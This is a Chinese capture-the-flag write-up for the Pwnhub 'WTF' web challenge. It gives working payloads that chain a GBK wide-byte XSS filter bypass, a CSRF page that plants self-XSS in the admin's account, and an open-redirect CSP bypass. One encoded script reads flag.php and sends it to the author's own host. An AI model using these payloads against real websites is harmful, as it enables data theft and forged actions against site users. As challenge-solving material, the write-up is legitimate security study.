Pwnhub-WTF!!!-Writeup
先膜一发火日巨佬。
注册帐号后登陆进去看到源代码的一些信息。
过滤了双引号、单引号、左尖括号、右尖括号,而且还转义了。前面看到页面是GBK,所以尝试了一下宽字符,发现是可以xss的。
<script>alert(1)</script>
String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62)
POST内容:
%aa\74img onerror=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62)) src=a%aa\76
用burp发包了一下。最后到浏览器经过dom,可以实现弹框。
当时发现能xss,于是就把自己的页面发给report bugs。后面看到提示
- 2016.12.10 00:00:00admin只是一个用户名 没有特权
才意识到,这是一个self-xss,而且admin并没有权限去访问你的页面…另外cookie好像是使用httponly。自己测试自己用户的时候并不能拿到cookie
所以可以使用csrf去给管理员添加一个含有xss代码的文章页面,再去访问那个页面,从而导致self-xss代码执行。在弄那个report bugs的时候发现好些也不能发送其他域名的地址。后面抓包找到了一个跳转。
http://54.223.108.205:23333/login.php?redirecturl=http://54.223.108.205:23333/new.php
所以可以开始进行构造。
csrf页面,进行文章的添加,要注意的是,js里面\74
url编码会自己转换为字符的,另外最关键的就是宽字节的高位,%aa是不行的,用一个中文字符,然后unescape一下就好了。%u8FD8%5c74
,其中xss的代码是获取flag.php的内容,然后再将这些发给自己的ip。
另外的问题就是csp的绕过,利用302的跳转就可以了:
http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html
<script>
love=function(){var c={version:{name:"Elastic Love",author:"quininer",version:"141229"},conf:{protocol:"{{= protocol }}",host:"{{= host }}",id:"{{= id }}"},run:{jsonp:{},args:{},data:{},foo:{}},op:{bind:function(a,b,d){a.addEventListener?a.addEventListener(b,d,!1):a.attachEvent("on"+b,d);return a},random:function(a){return a?Math.random().toString(36).slice(2):1E5*Math.random()}}};c.get={isorigin:function(a,b){var d=c.dom.create("a",{href:a}),f=c.dom.create("a",{href:b||document.location.origin});return d.protocol==f.protocol&&d.hostname==f.hostname&&d.port==f.port?!0:!1},testorigin:function(a){try{c.req.ajax(a)}catch(b){return 19!=b.code?!0:!1}return!0},protocol:c.conf.protocol?c.conf.protocol:"file:"==location.protocol?"http:":"",isdom:function(a){return a.nodeType?!0:!1},id:function(a){return document.getElementById(a)},name:function(a){return document.getElementsByName(a)},tag:function(a){return document.getElementsByTagName(a)},class:function(a){return document.getElementsByClassName(a)},html:function(){return this.tag("html")[0]||document.write("<html>")&this.tag("html")[0]},head:function(){return this.tag("head")[0]||c.dom.add("head",!1,this.html())},body:function(){return this.tag("body")[0]||c.dom.add("body",!1,this.html())}};c.dom={inner:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0];d=d&&c.get.isdom(d)?d:c.get.body();var e=c.dom.create("div");e.innerHTML=a;e=e.children[0];b&&"function"!=typeof b&&(e.style.display="none");this.insert(e,d,"function"==typeof f&&f);return e},create:function(a,b){var d=document.createElement(a);for(i in b)"string"==typeof b[i]&&this.attr(d,i,b[i]);return d},insert:function(a,b){var d=Array.prototype.slice.call(arguments,-1)[0];b=b&&c.get.isdom(b)?b:c.get.body();b.appendChild(a);"function"==typeof d&&d(a,b);return a},add:function(a,b,d){var c=Array.prototype.slice.call(arguments,-1)[0],e=this.create(a,b);this.insert(e,d,c);return e},kill:function(a){var b=Array.prototype.slice.call(arguments,-1)[0];c.get.isdom(a)&&a.parentNode.removeChild(a);"function"==typeof b&&b()},attr:function(a,b,c){if(!c)return(a.attributes[b]||{}).value;a.setAttribute(b,c);return a}};c.req={post:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0],e=c.dom.add("form",{method:"POST",style:"display: none;",action:a},c.get.body());if(b&&"object"==typeof b)for(var g in b)c.dom.add("input",{name:g,value:b[g]},e);g=c.dom.add("input",{type:"submit"},e);if(!d||"function"==typeof d){var h=c.dom.inner('<iframe sandbox name="'+c.op.random(!0)+'">',!0);c.dom.attr(e,"target",h.name)}"function"==typeof f&&c.op.bind(e,"submit",f);d&&"function"!=typeof d||c.op.bind(h,"load",function(){c.dom.kill(h)});g.click();d&&"function"!=typeof d||c.dom.kill(e)}};return c}();
love.req.post("http://54.223.108.205:23333/new.php", {
title: "lemon",
content: unescape("2a%u8FD8%5c74img onerror=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,120,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,46,111,112,101,110,40,34,71,69,84,34,44,34,102,108,97,103,46,112,104,112,34,44,102,97,108,115,101,41,59,120,46,115,101,110,100,40,110,117,108,108,41,59,108,111,99,97,116,105,111,110,61,39,47,47,105,112,47,39,43,101,115,99,97,112,101,40,120,46,114,101,115,112,111,110,115,101,84,101,120,116,41,59,60,47,115,99,114,105,112,116,62)) src=a%u8FD8%5c76"),
submit: "submit"
}, true);
</script>
最后就可以进行提交bug了,这时候admin就会被添加一个文章。
http://54.223.108.205:23333/login.php?redirecturl=//ip/c.html
再进行文章的访问:
http://54.223.108.205:23333/login.php?redirecturl=//ip/c1.html
<script>
location="http://54.223.108.205:23333/view.php?id=MTU2MTg3";
</script>
其中id是数字递增的,可以等c.html被访问后,也就是admin创建一篇文章后,立刻再用其他用户账户新建一篇文章,然后看其id,进行一个推测(admin创建文章的id)。
题外话
看到其他大佬们在做这个题目的时候还遇上了一些其它的坑,比如。
1、获取flag.php网页的内容的时候用base64编码了一下。然后内容存在~~~~
编码的时候就会出现+
,这个符号在url中表示为空格,=。=,后面的数据也就接收不到啦。
2、另外的就是bot用的是firefox去触发self-xss,csp的话,chrome的那个link预加载是不行的,如果不用302跳转的话,自己测试的预加载也就dns可以弄,但是那个数据处理会有点麻烦。
3、注意flag.php内容用escape去编码一下,flag中是中文形式,不编码返回的东西就会有点问题。